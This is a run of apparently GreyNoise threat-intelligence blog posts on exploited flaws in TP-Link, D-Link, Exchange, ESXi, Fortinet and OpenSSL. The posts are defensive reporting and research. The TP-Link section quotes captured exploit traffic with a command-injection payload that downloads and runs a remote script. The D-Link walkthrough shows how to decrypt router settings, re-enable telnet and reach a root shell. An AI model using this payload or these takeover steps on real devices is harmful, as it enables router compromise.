Threat Signals

Today, in collaboration with our partner Trinity Cyber, GreyNoise has a new tag for scan traffic related to CVE-2023-1389, a pre-auth command injection weakness in TP-Link Archer routers.

TP-Link Archer AX21 (AX1800) firmware versions before 1.1.4 Build 20230219 contained a command injection vulnerability in the country form of the /cgi-bin/luci;stok=/locale endpoint on the web management interface. Specifically, the country parameter of the write operation was not sanitized before being used in a call to popen(), allowing an unauthenticated attacker to inject commands, which would be run as root, with a simple POST request.

The following is a sample of traffic related to these exploit attempts.

‍

POST /cgi-bin/luci/;stok=/locale?form=country
HTTP/1.1Host: [redacted]
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
Content-Length: 60
operation=write&country=$(id>`wget http://zvub[.]us/y -O-|sh`)

There has not been an observed, successful injection detected to-date, so we have published a “scan/crawler” tag — TP-Link Archer AX21 Command Injection Vulnerability Scan — to help organizations identify this activity and will be working closely with Trinity Cyber and other partners to identify successful exploit attempts to help identify successful malicious mass exploitation attempts.

Tenable initially identified this weakness, and has confirmed that successful exploitation is only likely across WAN interfaces under rare conditions. The Zero Day Initiative (ZDI) has also detected exploit activity and has suggested that their telemetry indicates that the Mirai botnet has updated its arsenal to include this new exploit. They further indicate that exploitation across the WAN interface will likely be difficult, but not impossible

Organizations should work to patch any known, official deployments of these routers and advise their remote workforce to ensure they apply the appropriate vendor updates as soon as possible if they have them installed at their remote location(s).

Our engineering team is performing a retroactive tagging exercise to determine if we have seen mass exploitation attempts within the previous ninety days. However, Trinity Cyber has shared that they have observed 193.32.162.189 actively engaged in current exploitation attempts.

GreyNoise suggests that, where possible, organizations block this IP address and use our hourly-updated block lists to help keep their infrastructure safe from mass exploitation attempts.

We will provide an update once we have a tag for a confirmed, successful malicious activity for this vulnerability.

Sign up for a free GreyNoise account or request a demo to see how GreyNoise can help.

While signed in to GreyNoise, click below to set up a daily alert to be notified of new results.

• Alert for “TP-Link Archer Command Injection Probe”‍

OpenAI ChatGPT has recently released a new feature that allows for plugins to fetch live data from various providers. This feature has been designed with "safety as a core design principle", which means that the OpenAI team has taken steps to ensure that the data being accessed is secure and private.

However, there are some concerns about the security of the example code provided by OpenAI for developers who want to integrate their plugins with the new feature. Specifically, the code examples utilize a docker image for MinIO RELEASE.2022-03-17. This version of MinIO is vulnerable to CVE-2023-28432, which is a security vulnerability resulting in information disclosure of all environment variables, including MINIO_SECRET_KEY and MINIO_ROOT_PASSWORD.

While we have no information suggesting that any specific actor is targeting ChatGPT example instances, we have observed this vulnerability being actively exploited in the wild. When attackers attempt mass-identification and mass-exploitation of vulnerable services, “everything” is in scope, including any deployed ChatGPT plugins that utilize this outdated version of MinIO.

To avoid any potential data breaches, it is recommended that users upgrade to a patched version of MinIO (RELEASE.2023-03-20T20-16-18Z) and integrate security tooling such as docker-cli-scan or use Github’s built-in monitoring for supply chain vulnerabilities, which already contains a record referencing this vulnerability.

• https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

GreyNoise has posted an issue to the affected OpenAPI GitHub project to help ensure this weakness gets addressed as soon as possible.

While the new feature released by OpenAI is a valuable tool for developers who want to access live data from various providers in their ChatGPT integration, security should remain a core design principle.

‍

GreyNoise doesn’t have much common need for detailed firmware analysis. If it’s happening on the internet, we already see it. However, when we do need to investigate vulnerabilities in embedded devices, things can get very complicated, very quickly if no information is publicly available. It can be fun and insightful to learn these skills in the rare case we need them.

In late October 2022, we became aware of CVE-2022-41140, a buffer overflow and remote code execution vulnerability in D-Link routers, which D-Link had been notified of on February 17th. Noting the months-long turnaround time, we decided this was a good chance to perform a learning and discovery exercise.

On March 13th, 2023 we became aware of CVE-2023-24762, a command injection vulnerability in D-Link DIR-867 devices. This recent CVE spurred us to share some of our internal documentation regarding a research spike into D-Link devices.

This blog aims to explain the process of gaining a foothold in firmware or a physical device for vulnerability research and achieving a debuggable interface. While existing Proof-Of-Concept code for (yet another) D-Link vulnerability CVE-2022-1262 is utilized within this document, as well as strong hints at suspect areas of code, don’t expect to find any new ready-to-fire exploits buried in the contents below.

What Vulnerability?

D-Link was notified of CVE-2022-41140, a buffer overflow vulnerability on February 17th, 2022. By November 15th, 2022, no additional information was available, which sparked an investigation into discovering available hints about the nature of the vulnerability. While this accurately speaks to the current state of public vulnerability tracking, we start off our investigation with a simple search on Google for the CVE and find two relevant links:

1. https://www.zerodayinitiative.com/advisories/ZDI-CAN-13796/‍
2. https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10291

While the Zero Day Initiative lists the vulnerability as

(…) flaw exists within the lighttpd service, which listens on TCP port 80 by default. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer.

the D-Link Technical Support page provides more detailed information

(…) a 3rd party security research team reported Buffer Overflow & RCE vulnerabilities in the Lighttpd software library utilized in DIR-867, DIR-878, and DIR-882/DIR-882-US router firmware.

A stack-based buffer overflow in the prog.cgi binary in D-Link DIR-867. A crafted HTTP request can cause the program to use strcat() to create a overly long string on a 512-byte stack buffer. Authentication is not required to exploit this vulnerability.

Additionally, the D-Link support page provides a table of the Affected Models

‍

‍

From this information, we can derive that the vulnerability is triggered by an HTTP request to TCP port 80, which will hit the lighttpd service and route to the prog.cgi binary resulting in an overflow on a 512-byte stack buffer.

We can also derive that the vulnerability can be patched/mitigated on some hardware models, but not others.

How to trigger the vulnerability?

The D-Link support pages provide links to download firmware images for the DIR-878, including base firmware versions like v1.30B08 as well as security advisement firmware versions like v1.30B08 Hotfix_04b.

Knowing that we can access the firmware images before/after the security patch for CVE-2022-41140, we will attempt the following steps:

Obtain copies of prog.cgi

We start by downloading a known vulnerable version of the firmware for a model that also offers a patched version. We download DIR-878_REVA_FIRMWARE_v1.30B08.zip and extract the firmware image DIR_878_FW1.30B08.bin.

We run the file command to quickly determine if it’s a commonly known file type. Unfortunately, this returns generic information.

Next, we use a more specialized tool, binwalk, which assists in searching binary images for embedded files and executable code. Again, this produces no results.

A handy feature of binwalk is the -E, --entropy command line flags, which allow you to measure the entropy or “randomness” of a file.

As an example, here is an entropy graph of 1024 bytes of Lorem ipsum:

And here is an entropy graph of DIR_878_FW1.30B08.bin

As you can see, the entropy of our firmware image is very high. Typically, this is indicative that a file is in a compressed archive format or is encrypted. Since neither file nor binwalk identified it as a compressed archive format, it’s reasonable to assume that it may be encrypted.

If you believe a file is encrypted, it’s always a good idea to take a peek at the bytes at the start of the file, just in case there’s an identifiable file header:

At the start of the file is a 4-byte sequence that maps to the ASCII characters “SHRS”.

A quick Google search for “SHRS firmware” turns up relevant results, indicating that we’re on the right track.

1. https://github.com/0xricksanchez/dlink-decrypt/blob/master/dlink-dec.py‍
2. https://0x00sec.org/t/breaking-the-d-link-dir3060-firmware-encryption-recon-part-1/21943‍
3. https://0x00sec.org/t/breaking-the-d-link-dir3060-firmware-encryption-static-analysis-of-the-decryption-routine-part-2-1/22099

After a bit of reading, we can determine that D-Link does indeed encrypt some of their firmware, which is identifiable by the “SHRS” header. The blogs linked above go into depth on how they obtained a copy of the imgdecrypt binary and reverse engineer the binary to determine how to decrypt the firmware and produce the relevant python script.

Since we will be dealing with encryption again later in this blog, we won't go into depth on this specific layer of encryption. Our firmware can be decrypted with:

Taking our decrypted firmware and running it through binwalk again we can see that some file signatures are recognized.

Since file signatures were recognized, we can recursively extract them by using the -e, --extract, and -M, --matryoshka, command line flags.

This creates nested folders for each extracted layer of the file, ultimately resulting in a cpio-root folder containing the root filesystem for the firmware.

The desired prog.cgi file is located exactly where those familiar with *nix directory structures would expect it to be. However, for completeness, the file can be located by name using:

Now we have a copy of the entire root filesystem, including prog.cgi.

Repeating the same steps on the patched firmware sets us up for the next step.

Patch Diffing

In the previous step, we obtained an unpatched and patched copy of prog.cgi. We’ll rename them prog_old.cgi and prog_new.cgi, respectively, to help keep track.

BinDiff is a comparison tool for binary files, that assists vulnerability researchers and engineers to quickly find differences and similarities in disassembled code

For this blog, we’ll be using Binary Ninja with the BinDiff Viewer Plugin. There are roughly comparable free alternatives and plugins like Ghidra.

Following the relevant plugin steps to generate a bindiff, we open old/new and begin to look for functions that are very similar but not 1.00, indicating that a small change such as a patch may have been performed.

Uses of strcat()

Using our list of similar (but not exact duplicate!) functions, we work our way down the list, looking for uses of strcat() that have changed between old/new. In this example, the main function:

Old

New

‍

Here we can see that the old binary used strcat() and the new binary has a different set of logic.

The strcat() function concatenates the destination string and the source string, and the result is stored in the destination string.

A quick check of the destination var_20c shows that its size is 0x200, or 512 bytes. For a sanity check, we can list all uses of strcat() throughout the binary.

There are 22 uses of strcat(). After reviewing them, none but the usage within main operate on a 512-byte buffer.

We now have a reasonable candidate for the location of the vulnerability.

Debugging with Emulation

Now that we have a reasonable candidate for a vulnerable code path, the next step is to start determining what conditions are required to actually reach the vulnerable code path. While wiser minds may be able to determine these conditions without needing a debugger, it’s always a safe bet to make getting a debugging interface a priority.

We want to run the necessary components and attach a debugging interface to a running program.

First, we need to determine the attributes of the file we would like to emulate. The file command we used earlier can be used to identify important information about the architecture the binary is meant to run on.

Using QEMU is an easy way to run binaries for other architectures, but with the same operating system as the current one. In this case, we want qemu-mipsel-static which is provided from the qemu-user-static package.

However, we need to know what to run.

There are init scripts that run when a system boots, and we can find the relevant one in /etc_ro/rcS:

It’s best to start at the top and work your way down and Google things where applicable.

1. Filesystems are mounted
2. /var/run folder is created if it doesn’t exist
3. A script to create device (/dev) links is run
4. The Message Of The Day (motd) is written to the device console
5. A binary to manage reading/writing to non-volatile random-access memory (nvram) is started in the background
6. A binary init_system is run with the start command
7. A telnet daemon is started

/var/log folder is created if it doesn’t exist

Understanding the functionality of the init_system binary is elementary:

If init_system start is run, it checks for the presence of /var/run/nvramd.pid. If the pid file is not found, it enters a loop printing lighttpd: waiting for nvram_daemon. If the pid file is found, it branches into the following logic.

nvram is init then closed. sub_400e50 starts a number of .cgi binaries from /etc_ro/lighttpd/www/cgi-bin/, and finally the lighttpd web server is started with:

Using a combination of chroot and qemu-mipsel-static we can minimally and directly launch the lighttpd web service like so:

This results in an error of:

(network.c.747) SSL: Private key does not match the certificate public key, reason: error:02001002:system library:fopen:No such file or directory /var/private/lighttpd.pem

By simply commenting out the SSL related lines in /etc_ro/lighttpd/lighttpd.conf config file, we can just run the web service in HTTP mode exclusively and bypass the error.

Upon further review of the config, we can observe that the lighttpd web service is running in fastcgi mode and HTTP requests to the path /HNAP1/ are routed to be handled by prog.cgi.

If we navigate to our emulated system in a web browser, we can see that a page is loaded, and numerous UI assets load successfully, but the page is blank due to a malformed XML response from the /HNAP1 endpoint.

The root cause of the malformed XML response is due to the default values for nvram not being set. I spent a large amount of time trying to fix this by using LD_PRELOAD tricks and eventually ended up ordering a physical DIR-867 model (guaranteed vulnerable, no patch available) in frustration.

By the time the physical router was about to be delivered, I had a mostly working proxy for calls to functions from libnvram-0.9.28.so, at which point I remembered that the vulnerability was Pre-Authentication. I was trying to fix something that was part of the login flow which, I thought, was necessary.

After taking a bit of time to find a different endpoint to sanity check myself, I found that most of the other pre-auth functions of prog.cgi respond without issue. They are missing default values which would have been stored in nvram, but do not result in errors.

For our purposes, this is enough to work with and proceed forward. Getting a debugger attached by invoking prog.cgi in QEMU with the -g flag starts a GDB connection on port 1234.

Debugging With Physical Device

As stated earlier, I purchased a used physical model DIR-867 router, which is guaranteed to be vulnerable as no patches are available.

After opening the box, I began the setup process and set a device admin password of Password1 and set updates to “manual”.

After completing the setup steps, the router reboots.

Most importantly, I figured out how to reset the router using the button on the back and re-do the setup steps again to make sure nothing that I’d set so far has persisted across a reset.

Now that the router is set up in its most basic state, I do a quick scan for open ports.

Much to my chagrin, there is no 23/tcp open telnet result, despite the telnetd service appearing in the /etc_ro/rcS init scripts I’d found during emulation. I’ll need to find another way to get an interactive interface on the router to run a debugger.

At this point, physically opening the router up and trying to find a UART interface would probably be the quickest path to success. However, as I wasn’t in any particular rush, I decided to try to figure out how to just re-enable the telnet interface since I know from extracting the firmware that the telnetd binary already exists in the firmware.

Running a recursive grep on our extracted firmware shows that “telnet” shows up in many binary files, as well as what appears to be factory and default settings shipped with the device.

Note the telnetEnabled=0. This probably explains why telnet isn’t running. It also seems to indicate that it’s a setting.

While poking around earlier looking for command injection, I located the “System” menu, which allows exporting/importing settings. If we’re lucky, telnetEnabled is a hidden setting we can just flip on and re-import.

Clicking “Save Settings To Local Hard Drive” results in downloading a 5.9kB config.bin file.

We use binwalk to check for known file formats.

It looks like we have a SEAMA firmware header and the config is encrypted. Again, we turn to Google and search for the starting bytes of the file 0x5EA3A417 which returns a very useful C header file that defines the structure of a SEAMA file.

• https://github.com/jtreml/firmware-mod-kit/blob/master/src/firmware-tools/seama.h#L29

In the same folder on GitHub there’s a corresponding .c file for a command line tool to unpack a SEAMA file, but a quick review does not show any usage of OpenSSL. This likely means D-Link is doing some additional layer of encryption on top of SEAMA, and we’re better off doing some more static analysis on the firmware itself and using the GitHub repo for sanity checking ourselves.

Re-Opening prog.cgi in Binary Ninja and searching for usages of the string “config.bin” we see that it’s used in a single section of code at sub_42ad78.

Taking a closer look at sub_42ad78 we see the following flow graph:

At a high level:

1. /tmp/config_2g and /tmp/config_5g are written to a manifest file /tmp/sysupgrade.conffiles
2. The config files are put into a .tar.gz archive with tar czf "-" -T /tmp/sysupgrade.conffiles 2>/dev/null > /var/backup_tmp.tar.gz
3. sub_42b2f4 reads model_name and hw_version from nvram and returns a string of “<model_name>_<hw_version>”
4. The /var/backup_tmp.tar.gz file from step 2 is passed through a command mkconfig
5. The resulting file is returned to be downloaded by the end-user

Taking a closer look at the call with mkconfig:

snprintf(&var_14c, 0x100, "mkconfig -a enca -m %s -i %s -o %s", &var_18c, "/var/backup_tmp.tar.gz", "/var/backup.tar.gz", 0x4f1530)

This results in &var_14c containing mkconfig -a enca -m DIR-867_A1 -i /var/backup_tmp.tar.gz -o /var/backup.tar.gz

Now that we know the command being run to generate the encrypted config.bin, we take a look at /bin/mkconfig to determine what those flags do. We can just run it in QEMU without any arguments to view the help message.

As the description states, it can encapsulate or de-encapsulate a config. However, it’s unclear where the suspected presence of encryption comes into play. A reasonable assumption from looking at the available flags indicates that the -m flag may be used in some sort of key derivation function. Remember that the -m flag is the model_name and hw_version. If the model and hardware version are used for a key derivation function, this would prevent someone from uploading a config from a different D-Link router model and potentially breaking their device.

We can confirm this by taking a peek at the enca function of mkconfig in Binary Ninja:

Indeed, we see the usage of openssl as well as a new, but fully expected binary seama.

In the first relevant part of the program flow, the -m flag (DIR-867_A1) is used in sub_400e30

Then the logic enters a loop that writes the MD5 hash as a hex string to &buffer

The OpenSSL command is as follows:

If we had preferred not to disassemble the function to figure out how the encryption key was generated, we could have simply added the -E "QEMU_STRACE=1" flag when running mkconfig and the resulting key would have shown in the strace output.

Command:

qemu-mipsel-static -E "QEMU_STRACE=1" /bin/sh -c "mkconfig -a de-enca -m DIR-867_A1 -i config.bin -o config.dec"

Strace output:

39 execve("/bin/sh",{"sh","-c","openssl enc -e -aes-256-ecb -k 81F9A6E40BDEC26DB67FE53A555D0E8E -in config.dec -out config.dec.enc >/dev/null 2>&1",NULL})

As expected, 81F9A6E40BDEC26DB67FE53A555D0E8E is the hex string representation of the MD5 hash of “DIR-867_A1”.

Knowing this is true, we can make a simple shell script to recreate this logic and patch in Telnet support:

1. Use mkconfig to de-encapsulate (Unpack SEAMA firmware, Decrypt image)
2. Extract the Gzip’d Tar archive
3. Replace telnetEnabled=0 with telnetEnabled=1 in /tmp/config_2g
4. Write /tmp/config_2g and /tmp/config_5g to a manifest
5. Tar and Gzip the files in the manifest
6. Use kconfig to encapsule (Encrypt image, Pack SEAMA)

The result being telnetpatched.bin, which should be a valid settings file for us to upload and enable telnet.

‍

Indeed, another nmap scan shows the desired results of an open telnet port.

Unfortunately, when trying to connect, we are instantly prompted for authentication.

After a quick peek at the disassembly of prog.cgi, we can see that the password is set to the value we provided originally, Password1 + @twsz2018

A guess that the username is admin allows us to log in successfully with a password of Password1@twsz2018

While we have successfully logged in over telnet, we are dropped into a limited shell with only a select number of commands available to run. We cannot directly use this shell to load a gdb server and attach it to prog.cgi.

Here we will cheat a bit and leverage CVE-2022-1262, a command injection vulnerability in the protest binary that is available to us in the limited shell. Using the Proof-Of-Concept exploit included in this writeup from Tenable, we spawn another telnetd instance running on port 1337 and running as root.

From here, we can get a hint about the version of Linux headers the firmware was built with by running:

Finally, we can either cross-compile a mips32el uclibc GDB server against Linux headers 3.10.14+ ourselves by using something like crosstool-NG … or we can download a pre-built toolchain matching our criteria from https://toolchains.bootlin.com/

This allows us to transfer a gdb server to /tmp on the physical router and attach gdb to prog.cgi for remote debugging purposes.

Conclusion

Learning how to gain a debuggable interface with both emulated and real D-Link devices is a valuable skill for anyone interested in vulnerability research and network security. By using emulated devices, you can experiment and test in a safe environment before attempting changes to real hardware. The ability to debug real devices can help you identify and fix issues, as well as determine how firmware operates “in the real world”. While it may seem daunting at first, with the right tools and resources, anyone can learn these skills. With this knowledge, you can enhance your understanding of network security and device development, and apply these concepts to future projects, such as writing network signatures for malicious traffic.

‍

GreyNoise tags for command injection CVE-2023-24762 and stack-based buffer overflow CVE-2022-41140 are live and available to all users for tracking related activity:

• D-Link CVE-2023-24762 RCE Attempt
• D-Link CVE-2022-41140 RCE Attempt

‍

‍

Microsoft’s Patch Tuesday (Valentine’s Edition) released information on four remote code execution vulnerabilities in Microsoft Exchange, impacting the following versions:

• Exchange Server 2019
• Exchange Server 2016 
• Exchange Server 2013

Attackers must have functional authentication to attempt exploitation. If they are successful, they may be able to execute code on the Exchange server as SYSTEM, a mighty Windows account.

Exchange remote code execution vulnerabilities have a bit of a pattern in their history. This history is notable due to authentication being a requirement for exploitation of these newly announced vulnerabilities.

CVE-2023-21529, CVE-2023-21706, and CVE-2023-21707 have similarities to CVE-2022-41082 due to them all requiring authentication to achieve remote code execution, which GreyNoise covered back in September 2022. Readers may know those previous September 2022 vulnerabilities under the “ProxyNotShell” moniker, since an accompanying Server-Side Request Forgery (SSRF) vulnerability was leveraged to bypass the authentication constraint. “As per our last email” we noted this historical pattern of Exchange exploitation in prior blogs as well as tracked recent related activity under the Exchange ProxyNotShell Vuln Check tag which sees regular activity.

Shadowserver, a nonprofit organization which proactively scans the internet and notifies organizations and regional emergency response centers of outstanding exposed vulnerabilities, noted that there were over 87,000 Exchange instances vulnerable to CVE-2023-21529 (the most likely vulnerability entry point of the four new weaknesses). 

As of the publishing date of this post, there are no known, public proof-of-concept exploits for these new Exchange vulnerabilities. Unless attackers are attempting to bypass web application firewall signatures that protect against the previous server-side request forgery (SSRF) weakness, it is unlikely we will see any attempts to mass exploit these new weaknesses any time soon. Furthermore, determined attackers have been more stealthy when it comes to attacking self-hosted Exchange servers, amassing solid IP address and domain inventories of these systems, and retargeting them directly for new campaigns.

GreyNoise does not have a tag for any of the four, new Exchange vulnerabilities but is continuing to watch for emergent proof-of-concept code and monitoring activity across the multi-thousand node sensor network for anomalous Exchange exploitation. Specifically, we are keeping a keen eye on any activity related to a SSRF bypass or Exchange credential brute-force meant to meet the authentication constraints needed by an attacker to leverage these vulnerabilities.

GreyNoise researchers will update this post if and when new information becomes available.

Given the likely targeted nature of new, malicious Exchange exploit campaigns, you may be interested in how GreyNoise can help you identify targeted attacks, so you can focus on what matters to your organization.

Don’t have a GreyNoise account? Sign-up for a free account.

Wow do I hate ESXi Threat Intel (right now)

UPDATE 2023-02-14: in response to an inquiry, GreyNoise researchers went back in time to see if there were exploit attempts closer to when CVE-2021-21974 was released.

From January 1st 2021 through June 1st 2021, 2 IP's were observed exploiting CVE-2021-21974, each active (as observed by GreyNoise sensors) for a single day.

• Active 2021-05-25, 45[.]112[.]240[.]81
• Active 2021-05-31, 77[.]243[.]181[.]196
  ‍

‍

In recent days CVE-2021-21974, a heap-overflow vulnerability in VMWare ESXi’s OpenSLP service has been prominently mentioned in the news in relation to a wave of ransomware effecting numerous organizations. The relationship between CVE-2021-21974 and the ransomware campaign may be blown out of proportion. We do not currently know what the initial access vector is, and it is possible it could be any of the vulnerabilities related to ESXi’s OpenSLP service.

The Security Community seems to be focusing on a single vulnerability. GreyNoise believes that CVE-2021-21974 makes sense as an initial access vector, but are not aware of any 1st party sources confirming that to be the case. We encourage defenders to remain vigilant and not accept every vendor at their word (including us).

The objective of the following document is to provide clarity to network defenders surrounding the ransomware campaign as it relates the the following items:

1. Attribution of exploitation vector to a specific CVE
2. Metrics of vulnerable hosts
3. Metrics of compromised hosts
4. How do you “GreyNoise” an unknown attack vector?

Attribution to a specific CVE

CVE-2021-21974 is a heap-overflow vulnerability in ESXi’s OpenSLP service.

CVE-2020-3992 is a use-after-free vulnerability in ESXi’s OpenSLP service.

CVE-2019-5544 is a heap overwrite vulnerability in ESXi’s OpenSLP service.

Back in October 2022, Juniper Networks wrote a blog regarding the potential usage of CVE-2019-5544 / CVE-2020-3992 as part of an exploitation campaign. Due to log retention on the compromised server they were unable to confidently attribute which specific vulnerability resulted in successful exploitation. Instead they focused their blog on the details of the backdoor that was installed post-exploitation.

On February 3rd, 2023 the cloud hosting provider OVH published a notice regarding an active ransomware campaign effecting many of their ESXi customers, hereafter referred to as “ESXiArgs” due to the ransomware creating files with an extension of .args. As part of their notice they provide the following quote:

According to experts from the ecosystem as well as authorities, the malware is probably using CVE-2021-21974 as compromission vector. Investigation are still ongoing to confirm those assumptions.

On February 6th, 2023 VMWare published a security blog acknowledging the “ESXiArgs” campaign and stated:

VMware has not found evidence that suggests an unknown vulnerability (0-day) is being used to propagate the ransomware used in these recent attacks.

In summary, while there are many 3rd party sources of intelligence directly attributing this ransomware campaign to CVE-2021-21974, the first party sources are not.

Tl;dr:

• There are several high-profile OpenSLP vulnerabilities in various versions of ESXi

• These vulnerabilities have been exploited in the past to install malicious backdoors

• No CVE is being concretely attributed as the initial access vector for the ESXiArgs campaign by first-party sources

Metrics of Vulnerable Hosts

There are many companies that scan the internet with benign intentions for inventory, research, and actionable intelligence. GreyNoise sees these companies on a very regular basis, since we operate “sensors” similar to a honeypot. They scan, and we (GreyNoise) listen.

Without going into too much depth, there is a significant complexity jump between “determining if a port is open on a server” and “determining what protocol is operating on a port”.

For scanners, high interaction protocols such as those used by the ESXi OpenSLP service may be checked on a weekly/monthly basis, whereas more common protocols such as HTTP(s) on common ports like 80/443 may be checked nearly constantly.

Much like the variety of benign internet-wide scanning companies, GreyNoise is not the only organization operating honeypots on the internet. This causes biases in reported metrics of potentially vulnerable servers on the public internet.

Once an incident such as the ESXiArgs campaign has begun, “scanning” organizations will ramp up scanning, and “honeypot” organizations will ramp up honeypots. At this point, the ESXiArgs campaign is already underway and accurate metrics can be drawn upon from other attributes.

Tl;dr:

• Metrics regarding vulnerable host counts have biases

• Metrics regarding vulnerable host counts are scoped estimates

• These metrics are still the most accurate reports available

Metrics of Compromised Hosts

One of the publicly visible aspects of the “ESXiArgs” campaign is that a ransom note is made available on a hosts public IP with a title of How to Restore Your Files.

By performing a query for How to Restore Your Files we can generate a list of the autonomous system organizations and countries affected by this campaign, complete with a generated timestamp since this number will continually fluctuate and is only accurate as a point-in-time metric.

Our data partner, Censys, provided the data/query. To see current results, use the query — services.http.response.body: "How to Restore Your Files" and services.http.response.html_title:"How to Restore Your Files”.

Tl;dr:

• OVH is the predominantly effected hosting provider

• France (where OVH is primarily located) is the most impacted region

• The estimated count of compromised hosts at the time of writing is between 1,500 and 2,000 nodes. Censys noted that the initial high water mark of compromised nodes was over 3,500.

How do you “GreyNoise” an unknown attack vector?

GreyNoise has had a tag available for tracking and blocking CVE-2021-21974 since June 2021:

• https://viz.greynoise.io/tag/vmware-esxi-openslp-rce-attempt?days=3

At this moment in time, we’re seeing a the Log4j-style conundrum 😬; the majority of CVE related activity is related to benign cybersecurity companies checking for the presence of the vulnerability.

As described above, there is no confirmed reports of the initial CVE exploit vector, so how can GreyNoise help defenders when the attack vector is unknown?

As we explained in our “How to know if I am being targeted” blog, IPs that return no results when searched on GreyNoise are traffic that is targeted at your organization.

If your organization observes a connection from an IP that returns no search results in GreyNoise: You should almost certainly prioritize that investigation, because it’s targeting your organization instead of the entire internet. If you find that the IP not known to GreyNoise was connecting to your organization’s VMWare ESXi on TCP/427, you should definitely prioritize that investigation.

In cases where initial access vectors are unknown, using GreyNoise as a filter for internet background noise can help prioritize the things that matter the most, because absence of a signal is a signal itself.

Additional Resources

• CISA has released a tool to aid in the recovery of compromised instances: https://www.cisa.gov/uscert/ncas/current-activity/2023/02/07/cisa-releases-esxiargs-ransomware-recovery-script
• VMWare has a Ransomware Resource Center: https://core.vmware.com/ransomware
• Censys has posted a deep-dive on ESXiArgs exposure
• runZero has an excellent blog on how to find potentially vulnerable assets in your organization

On December 12th, 2022 Fortinet released a PSIRT Advisory for CVE-2022-42475 noting that it had been exploited in the wild.

CVE-2022-42475 is a heap-based buffer overflow vulnerability (CWE-122) in FortiOS SSL-VPN, which may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

Since the vulnerability’s announcement, GreyNoise has actively monitored for any activity potentially related to FortiGuard products.

Beginning December 29th, 2022 GreyNoise observed a significant increase in credential brute force attempts against Fortinet SSL VPN.

GreyNoise is not aware of any publicly available Proof-of-Concept code for CVE-2022-42475 at this time. We have created a tag for tracking Fortinet SSL VPN brute force activity as its recent volume is malicious in nature is notably targeting the same product as another high-profile vulnerability.
‍

Indicators and Detection

On December 29th, 2022 GreyNoise sensors observed a sudden high volume of HTTP traffic to the "/remote/logincheck" path containing credentials. We have correlated this as targeting Fortinet SSL VPN products using the following sources:

• Metasploit's Fortinet SSL VPN Bruteforce Login Utility
• Rapid7's module description
• https://gitlab.com/openconnect/openconnect/-/blob/master/fortinet.c#L120

Metrics

As of 2023-01-31 GreyNoise has observed 13,513,728 login attempts to the specified POST path from 263 unique source IP addresses since 2022-12-02.

Defenders can keep up to date with associated activity on the Fortinet SSL VPN Bruteforcer Trends page.

Proposed Solutions Against Brute Force Attacks from Fortinet

Use our GreyNoise tag to track and monitor this activity: GreyNoise Search, and optionally block all IPs associated with it.

Follow Fortinet's guidance on "How to secure and limiting SSL-VPN unknown user login (Bruteforce attack)" and "Restrict unauthorized access on the SSL-VPN service".

Research Logbook

^{GreyNoise Researchers reviewed Rapid7's Fortinet SSL VPN Bruteforce Login Utility and created a test environment consisting of attacker and target Docker images. We used this environment to verify packet similarity to ensure our sensors were seeing similar traffic.}

^{The attack container used a Kali Linux base with Metasploit installed. The target consisted of a vanilla Ubuntu container running a netcat listener on a specific port.}

^{The "fortinet_ssl_vpn.rb" module was slightly altered to override valid server checks to make it easier to capture packets and perform analysis over HTTP.}

^{Once configured and run, the payload was observed on the Docker instances using Wireshark.}

This blog will be updated as new information becomes available

Based on our current understanding of the vulnerabilities, CVE-2022-3786 and CVE-2022-3602, patched in OpenSSL 3.0.7, GreyNoise is unlikely to observe opportunistic mass exploitation in the wild.

What is being patched?

On Oct 25, 2022 the OpenSSL project authors announced via mailing list that OpenSSL 3.0.7 would become available on Nov 1st, 2022 between 1300-1700 UTC and include a high severity, marked HIGH, security-fix

The release occurred on Nov 1st, 2022, at 1600 ET and includes fixes for affected versions v3.0.x through v3.0.6. The patch, available here, addresses following issues:

• Added RIPEMD160 to the default provider.
• Fixed regressions introduced in 3.0.6 version.
• Fixed two buffer overflows in punycode decoding functions. CVE-2022-3786 and CVE-2022-3602.

OpenSSL is a library that provides general purpose cryptographic functions. As with any usage of cryptographic operations, there is a reasonable expectation that operation involves sensitive data and any disclosure of information is highly problematic in nature.

The full change log provides the full description of both vulnerabilities as follows:

A buffer overrun can be triggered in X.509 certificate verification, specifically in name constraint checking. Note that this occurs after certificate chain signature verification and requires either a CA to have signed the malicious certificate or for the application to continue certificate verification despite failure to construct a path to a trusted issuer.

In a TLS client, this can be triggered by connecting to a malicious server.  In a TLS server, this can be triggered if the server requests client authentication and a malicious client connects.

An attacker can craft a malicious email address to overflow an arbitrary number of bytes containing the `.`  character (decimal 46) on the stack.  This buffer overflow could result in a crash (causing a denial of service). ([CVE-2022-3786])

An attacker can craft a malicious email address to overflow four attacker-controlled bytes on the stack.  This buffer overflow could result in a crash (causing a denial of service) or potentially remote code execution depending on stack layout for any given platform/compiler. ([CVE-2022-3602])

‍

For additional details, see OpenSSL Security Advisory [01 November 2022].

Am I impacted?

OpenSSL is a library and toolkit that can be used in a variety of ways. The most common integration scopes are via the System, or as a Dynamically or Statically linked library. The security vulnerabilities addressed in today’s patch address versions v3.0.x through v3.0.6. If you are not utilizing a version within that range then you are not affected by these vulnerabilities.

System

If OpenSSL is installed as a toolkit on your system you can quickly check by running the command openssl version which will report back the installed system version.

Dynamically or Statically Linked

When OpenSSL is utilized as a library in a larger program it can be linked Statically or Dynamically.

When OpenSSL is statically linked, the library is bundled into the resulting executable of program when it is compiled, making the single executable contain all of the needed functionality as a single file.

When OpenSSL is dynamically linked, the library is expected to already exist on the system for which the program is expected to run. When the program is executed it searches a list of filesystem paths to locate the OpenSSL library and loads it as needed.

If you have access to the source code for the program you wish to evaluate for this vulnerability, the best way way is check for usage of the openssl3 library in the dependencies.

If you do not have access to source code, we recommend reaching out to the software vendor to ask for an evaluation and corresponding announcement. There are operating system specific methods to attempt to evaluate this yourself, but they require a more complex understanding of how libraries are loaded when a program is run. We recommend reaching out to the software vendor and requesting an announcement if you believe the software may be impacted. The software vendor should be able to answer in confidence.

What does this look like in the real world?

OpenSSL 3.0.0 was released in September 2021 meaning that its usage is not as pervasive in older, more widely deployed software. For more details, see Censys’ blog regarding potentially vulnerable OpenSSL 3.x enabled devices.

In a self-evaluation of all of GreyNoise’s infrastructure which included our wide array of honeypot style sensors spread across a large variety of operating systems and cloud providers we did not identify any usage of vulnerable versions of OpenSSL v3.0.x

